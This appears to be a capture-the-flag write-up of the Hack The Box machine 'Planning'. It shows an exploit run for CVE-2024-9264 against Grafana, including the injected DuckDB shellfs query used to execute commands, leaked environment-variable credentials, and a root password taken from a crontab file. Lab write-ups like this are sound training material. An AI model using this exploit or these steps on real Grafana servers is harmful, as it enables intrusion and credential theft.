Planning is an easy-difficulty machine from Hack The Box that deals initially with a hidden grafana subdomain which is vulnerable to CVE-2024-9264, an SQLi that leads to RCE, allowing us to read envirnment variables of a docker container to clain our user flag. We’ll later do some enumeration and exfiltrate root credentials from a crontab.db file to get root access. Planning
Reconnaissance
1 2 3 4 5 6 7 8 9
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA) |_ 256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519) 80/tcp open http nginx 1.24.0 (Ubuntu) |_http-server-header: nginx/1.24.0 (Ubuntu) |_http-title: Did not follow redirect to http://planning.htb/ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We can see that we have our usual ssh port 22 open alongside a web application redirecting us to http://planning.htb. So let’s go ahead and add that entry to our /etc/hosts file.
PS C:\Users\0xkujen\Desktop\HackThebox\HTB_Machines\Planning\CVE-2024-9264> python3 .\CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c "env" http://grafana.planning.htb [+] Logged in as admin:0D5oT70Fq13EvB5r [+] Executing command: env [+] Successfully ran duckdb query: [+] SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('env >/tmp/grafana_cmd_output 2>&1 |'): [+] Successfully ran duckdb query: [+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'): GF_PATHS_HOME=/usr/share/grafana HOSTNAME=7ce659d667d7 SHLVL=0 AWS_AUTH_EXTERNAL_ID= HOME=/usr/share/grafana AWS_AUTH_AssumeRoleEnabled=true GF_PATHS_LOGS=/var/log/grafana GF_PATHS_PROVISIONING=/etc/grafana/provisioning GF_PATHS_PLUGINS=/var/lib/grafana/plugins PATH=/usr/local/bin:/usr/share/grafana/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin AWS_AUTH_AllowedAuthProviders=default,keys,credentials GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT! AWS_AUTH_SESSION_DURATION=15m GF_SECURITY_ADMIN_USER=enzo GF_PATHS_DATA=/var/lib/grafana GF_PATHS_CONFIG=/etc/grafana/grafana.ini AWS_CW_LIST_METRICS_PAGE_LIMIT=500 PWD=/usr/share/grafana
We can use the found credentials to login as enzo and claim our user flag. enzo:RioTecRANDEntANT!
Privilege Escalation - Cronjobs
One thing I always do when first on a system is to check for cronjobs. It happens to be a crontabs folder, inside of it we can find a crontab.db file which contains root credentials:
1 2 3 4 5 6 7 8 9 10
enzo@planning:~$ cd /opt enzo@planning:/opt$ ls containerd crontabs enzo@planning:/opt$ cd crontabs/ enzo@planning:/opt/crontabs$ ls crontab.db enzo@planning:/opt/crontabs$ cat crontab.db {"name":"Grafana backup","command":"/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz","schedule":"@daily","stopped":false,"timestamp":"Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740774983276,"saved":false,"_id":"GTI22PpoJNtRKg0W"} {"name":"Cleanup","command":"/root/scripts/cleanup.sh","schedule":"* * * * *","stopped":false,"timestamp":"Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740849309992,"saved":false,"_id":"gNIRXh1WIc9K7BYX"} enzo@planning:/opt/crontabs$
We can simply login with those credentials and claim our root flag.
That was it for Planning, hope you learned something new! -0xkujen